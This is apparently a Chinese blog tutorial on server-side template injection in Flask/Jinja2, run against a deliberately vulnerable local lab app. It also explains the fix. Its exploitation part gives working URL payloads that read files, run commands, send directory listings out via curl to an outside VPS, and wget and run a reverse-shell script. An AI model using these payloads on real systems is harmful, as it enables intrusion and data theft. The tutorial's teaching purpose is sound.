今天學習了python的模板注入,這裏本身搭建環境測試如下,參考文章:http://www.freebuf.com/articles/web/136118.htmlhtml
web 程序包括兩個文件:python
flask-test.py 和 Config.py 文件linux
#!/usr/bin/env python # -*- coding:utf8 -*- import hashlib import logging from datetime import timedelta from flask import Flask from flask import request from flask import config from flask import session from flask import render_template_string from Config import ProductionConfig app = Flask(__name__) handler = logging.StreamHandler() logging_format = logging.Formatter( '%(asctime)s - %(levelname)s - %(filename)s - %(funcName)s - %(lineno)s - %(message)s') handler.setFormatter(logging_format) app.logger.addHandler(handler) app.config.secret_key = "\xe8\xf7\xb9\xae\xfb\x87\xea4<5\xe7\x97D\xf4\x88)Q\xbd\xe1j'\x83\x13\xc7" app.config.from_object(ProductionConfig) #將配置類中的配置導入程序 app.permanent_session_lifetime = timedelta(hours=6) #session cookies 有效期 page_size = 60 app.config['UPLOAD_DIR'] = '/var/www/html/upload' app.config['PLUGIN_UPDATE_URL'] = 'https://ForrestX386.github.io/update' app.config['PLUGIN_DOWNLOAD_ADDRESS'] = 'https://ForrestX386.github.io/download' @app.route('/') def hello_world(): return 'Hello World!' @app.errorhandler(404) def page_not_found(e): template = ''' {%% block body %%} <div class="center-content error"> <h1>Oops! That page doesn't exist.</h1> <h3>%s</h3> </div> {%% endblock %%} ''' % (request.url) return render_template_string(template), 404 if __name__ == '__main__': app.run()
Config.py #!/usr/bin/env python # -*- coding: UTF-8 -*- class Config(object): ACCOUNT = 'vpgame' PASSWORD = 'win666666' class DevlopmentConfig(Config): pass class TestingConfig(Config): pass class ProductionConfig(Config): HOST = '127.0.0.1' PORT = 65521 DBUSERNAME = 'vpgame' DBPASSWORD = 'win666666' DBNAME = 'vpgame'
kali上搭建有漏洞的flask web服務git
注:以上代碼存在ssti漏洞點在於render_template_string函數在渲染模板的時候使用了%s來動態的替換字符串,咱們知道Flask 中使用了Jinja2 做爲模板渲染引擎,{{}}在Jinja2中做爲變量包裹標識符,Jinja2在渲染的時候會把{{}}包裹的內容當作變量解析替換。
github
解決方法:web
將template 中的 」’<h3> %s!</h3>」’ % request.url 更改成 」’<h3>{{request.url}}</h3>」’ ,這樣以來,Jinja2在模板渲染的時候將request.url的值替換掉{{request.url}}, 而不會對request.url內容進行二次渲染(這樣即便request.url中含有{{}}也不會進行渲染,而只是把它當作普通字符串)shell
下面來利用這個漏洞搞點事情:數據庫
instance.__class__ 能夠獲取當前實例的類對象flask
咱們知道python中新式類(也就是顯示繼承object對象的類)都有一個屬性__class__能夠獲取到當前實例對應的類,隨便選擇一個簡單的新瀏覽器
式類實例,好比」,一個空字符串,就是一個新式類實例,因此」.__class__ 就能夠獲取到實例對應的類(也就是<type ‘str’>)
class.__mro__ 獲取當前類對象的全部繼承類'
python中類對象有一個屬性__mro__, 這個屬性返回一個tuple對象,這個對象包含了當前類對象全部繼承的基類,tuple中元素的順序就是MRO(Method Resolution Order) 尋找的順序
從結果中能夠發現」對應的類對象str繼承的順序是basestring->object
每個新式類都保留了它全部的子類的引用,__subclasses__()這個方法返回了類的全部存活的子類的引用(注意是類對象引用,不是實例)
咱們知道python中的類都是繼承object的,因此只要調用object類對象的__subclasses__()方法就能夠獲取咱們想要的類的對象,好比用於讀取文件的file對象
經過以上的python代碼就可以找到有讀文件功能的類(能夠加上大小寫)
這裏找到了file對象來進行文件的讀取
這裏成功利用file對象的匿名實例化,併爲其傳參要讀取的文件名,經過調用其讀文件函數read就能夠對文件進行讀取了。
2.SSTI 利用之命令執行
咱們還能夠在object的全部子類中找能夠引入了os模塊的類,並以此來執行命令
因爲執行命令最終的結果沒法回顯到瀏覽器端,所以咱們把結果發送到vps上,好比咱們想執行ls命令,查看當前路徑的文件,那麼
因此咱們使用payload
http://127.0.0.1:5000/{{''.__class__.__mro__[-1].__subclasses__()[71].__init__.__globals__['os'].system('ls > tt.txt & cat tt.txt | xargs -I {} curl http://172.93.33.250/?{}')}}
http://127.0.0.1:5000/%7B%7B''.__class__.__mro__[-1].__subclasses__%28%29[71].__init__.__globals__['os'].system%28'ls%20%3E%20tt.txt%20&%20cat%20tt.txt%20|%20xargs%20-I%20%7B%7D%20curl%20http://172.93.33.250/?{}%27%29}}
這裏使用了linux的管道命令,首先把ls的結果寫入到tt.txt中,而後把裏面的每個文件名做爲參數分別向本身的vps發送請求,因此最終只須要查看本身的vps的訪問日誌,就能夠查看到目標路徑下的全部文件名
這裏用到了xargs來傳遞管道參數,xargs的一個選項-I,使用-I指定一個替換字符串{},這個字符串在xargs擴展時會被替換掉,當-I與xargs結合使用,每個參數命令都會被執行一次(注:xargs的詳細用法見http://man.linuxde.net/xargs)
利用一樣的方法,咱們也能夠繼續查看其餘命令的執行結果
3.SSTI 利用之遠程代碼執行
若是不能利用os模塊在服務器端執行命令,那麼還能夠利用susprocess模塊來執命令,好比利用subprocess的check_output函數
在代碼中由於使用了flask.config它是一個相似字典的對象,包含了應用程序全部的配置文件信息(你全部的用app.config.xxx | app.config['xxx'] 配置信息 都在config這個上下文對象中),在不少的例子中,這個config對象包含了不少敏感的信息,好比數據庫鏈接信息,鏈接第三方服務的SECRET_KEY等
、
使用config.items()就可以得到全部的配置信息
而config.from_object(args)能將其參數所指模塊中的大寫屬性加入config對象實例中,經過執行{{config.from_object('os')}} ,{{config.items()}},就能看到
在這裏咱們先把想要調用的命令執行函數做爲配置信息,寫入一個py文件中
http://127.0.0.1:5000/%7B%7B''.__class__.__mro__[-1].__subclasses__%28%29[40]%28'/tmp/tmp.cfg','w'%29.write%28'from%20subprocess%20import%20check_output%5Cn%5CnRUNCMD=check_output'%29%7D%7D
文件寫入完成,而後經過config.from_pyfile函數來導入指定py文件中的大寫屬性加入到config這個上下文對象中(這就是爲何用RUNCMD了,大寫)
此時check_output函數已經導入,也就是能夠執行命令的函數已經導入到了config變量中。
此時遠程下載反彈shell的腳本
http://127.0.0.1:5000/%7B%7Bconfig['RUNCMD']%28'/usr/bin/wget%20http://172.93.33.250/shell.py%20-O%20/tmp/shell.py',%20shell=True%29%7D%7D
此時已經在目標服務器上下載了reverse的py腳本,接下來只須要使其執行便可獲得shell
http://127.0.0.1:5000/%7B%7Bconfig.from_pyfile%28%22/tmp/shell.py%22%29%7D%7D
首先在本身的vps上用nc監聽21192端口,而後經過config.from_pyfile來導入反彈shell的腳本,python在導入模塊的同時也會執行腳本中部分代碼(class 和方法的定義不會執行),利用這一點,就能夠執行反彈shell 了
此時已經拿到了目標機器的shell